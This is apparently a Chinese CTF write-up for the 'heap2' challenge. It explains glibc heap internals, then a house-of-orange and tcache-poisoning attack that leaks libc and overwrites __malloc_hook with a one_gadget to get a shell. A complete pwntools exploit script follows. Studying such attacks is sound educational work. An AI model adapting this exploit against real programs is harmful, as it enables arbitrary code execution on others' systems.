当前位置:网站首页>heap2 (tcache attack,house of orange)
heap2 (tcache attack,house of orange)
2022-08-11 05:29:00 【Mauricio_Davis】
知识点
- top_chunk的size大小一定是页对齐的,也就是0x?000,低三位要保持为0
- 保证篡改后不报错,则需要拿top_chunk的地址+size为页对齐即可
- 想要控制篡改后的size则可以通过先申请一个chunk来调整top_chunk的size后在改写
- 需要注意的是top_chunk的inuse位一定是1
- 当top_chunk的大小不够申请时(不能超过mmap阈值,否则会使用mmap来申请chunk),旧的top_chunk,先切分出两个0x10大小的chunk,剩下的空间如果不小于最小的chunk则使用int_free释放掉
程序分析
- heap题目功能有创建chunk以及输出chunk,没有释放

- add使用了gets函数,无限heap溢出
解题思路
- 通过unsorted-bin泄露出libc_base
- 通过tcache attack申请到malloc_hook的地址
- 改写为one_gadget
具体操作
没有free操作,我们可以通过改写top_chunk的size大小,申请0x20的chunk改写top_size,后申请一个比改写后大的chunk,得到一个在small-bin中的chunk,再次申请就会切分small-bin中的chunk,剩下的就会进入unsorted-bin
申请的chunk会从新的top_chunk中切分(高地址处),通过之前申请的0x18改写unsorted-chunk的size使其可以达到chunk2处,这样通过再次申请chunk,切分改写后的unsorted-chunk,使剩下的chunk刚好落在chunk2,输出就可以得到main-arena+offset,进而得到libc_base
- 这里需要注意的是,有以下安全检查,所以我们还需要在chunk2里面布置一下
- 第一个if:unsorted_chunk的大小不能小于或大于阈值
- 第二个if:下一个chunk(victim+size),不能小于大于阈值
- 第三个if:next_chunk的presize要和victim的size一致
- 第四个if:检查链是否被破坏,这里的话注意一下溢出的时候不要覆盖掉fd低位就行
- 第五个if:next_chunk的pre_inuse位需要为0

- 使用tcache_attack(类似fastbin attck)比fastbin-attck容易的多,因为tcache有记录chunk个数,所以我们需要让两个chunk进入相同的tcache链,操作如上,看exp

- tcache_get里面没有任何检查,所以我们直接写入malloc_hook的地址就可以直接申请出来

- 第一次的unsorted-bin至少需要保留0x20大小,这样我们申请出来,相比于tcache_chunk所在的位置是低地址,通过无限溢出,改写tcache的chunk为malloc_hook
- 写入one_gadget,获取shell
注意点
- 我们既然我们保留了unsorted-chunk一个chunk大小,我们就要注意后面申请的chunk不能低于或等于他,否则就会被直接申请走,后面我们就无法通过他来改写
- 注意伪造unsorted-chunk来绕过检查
exp
from pwn import *
context.update(os='linux',arch='amd64',log_level='debug')
#c=remote(b'node4.buuoj.cn',25937)
c=process(b'./heap2')
libc=ELF(b'/home/davis/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6')
gdb.attach(c,''' b *$rebase(0x1314) b *$rebase(0x1417) ''')
og=[0xe3afe,0xe3b01,0xe3b04]
def add(idx,size,content):
c.recvuntil(b'>> ')
c.sendline(b'1')
c.recvuntil(b'Index: ')
c.sendline(str(idx).encode())
c.recvuntil(b'Size: ')
c.sendline(str(size).encode())
c.recvuntil(b'Content: ')
c.sendline(content)
def show(idx):
c.recvuntil(b'>> ')
c.sendline(b'2')
c.recvuntil(b'Index: ')
c.sendline(str(idx))
add(0,0x1f450,b'\x00') #调整top_size大小
add(1,0x20,b'a'*0x28+p64(0x8e1))#篡改top_size
add(2,0x900,b'm'*0x30+p64(0x1900)+p64(0x910))#为绕过安全检查布置的内容
add(3,0x18,b'1'*0x10+b'j'*0x8+p16(0x1900))#改写unsortedbin的size
add(4,6320,b'\x00')#通过计算申请这个chunk可以让剩下的部分在chunk2里面
show(2)
libc_base=u64(c.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x1ecbe0
log.success("libc_base:"+hex(libc_base))
malloc_hook_chunk=0x7f7b15e28b70-0x23+8
add(5,0x2620,b'f'*0x2620)#调整top_size大小
add(6,0x50,b'abcd'*22+p64(0x61))#tcache1 , 0x40
add(7,0x70,b'aaaa')
add(5,0x1e90,b'f'*0x1e90)
add(6,0x70,b'xxxx'*30+p64(0x61)+b's'*0x10+p64(0x23fa0)+p64(0x400))#tcache2
add(7,0x70,b'abcd')
malloc_hook=libc.sym['__malloc_hook']
log.success("malloc_hook:"+hex(malloc_hook))
add(8,0x18,b'a'*0x23fa0+p64(libc_base+malloc_hook))
add(9,0x30,b'test')
add(10,0x30,p64(libc_base+og[1]))
#add(0,0,b'0')
c.recvuntil(b'>> ')
c.sendline(b'1')
c.recvuntil(b'Index: ')
c.sendline(b'0')
c.recvuntil(b'Size: ')
c.sendline(b'0')
c.interactive()
边栏推荐
猜你喜欢

js 学习进阶(Dom部分 pink老师教学笔记)

Node stepping on the pit 80 port is occupied
![[Meetup]OpenMLDBxDolphinScheduler 链接特征工程与调度环节,打造端到端MLOps工作流](/img/d8/a367c26b51d9dbaf53bf4fe2a13917.png)
[Meetup]OpenMLDBxDolphinScheduler 链接特征工程与调度环节,打造端到端MLOps工作流

JS事件循环机制

127.0.0.1 connection refused

何凯明新作ViTDET:目标检测领域,颠覆分层backbone理念

three.js基础学习

ARM assembly instruction ADR and LDR

Vscode远程连接服务器终端zsh+Oh-my-zsh + Powerlevel10 + Autosuggestions + Autojump + Syntax-highlighting

The official website of OpenMLDB is upgraded, and the mysterious contributor map will take you to advance quickly
随机推荐
Intelligent risk control China design and fall to the ground
何凯明新作ViTDET:目标检测领域,颠覆分层backbone理念
js写四位随机数能有多少种可能性?并列出所有可能性
IIC and SPI
Day 84
ARM 汇编指令 ADR 与 LDR 使用
JVM tuning and finishing
哥德巴赫猜想与整数环
Compilation exception resolution
使用adb命令管理应用
Use the adb command to manage applications
js 学习进阶(事件高级 pink老师教学笔记)
Day 78
深度学习Matlab工具箱代码注释
Day 69
Promise 中状态改变和回调执行先后顺序 和promise多次回调
JS case exercise (classic case of teacher pink)
typescript学习日记,从基础到进阶(第二章)
批量快速修改代码的正则表达式替换
精彩联动 | OpenMLDB Pulsar Connector原理和实操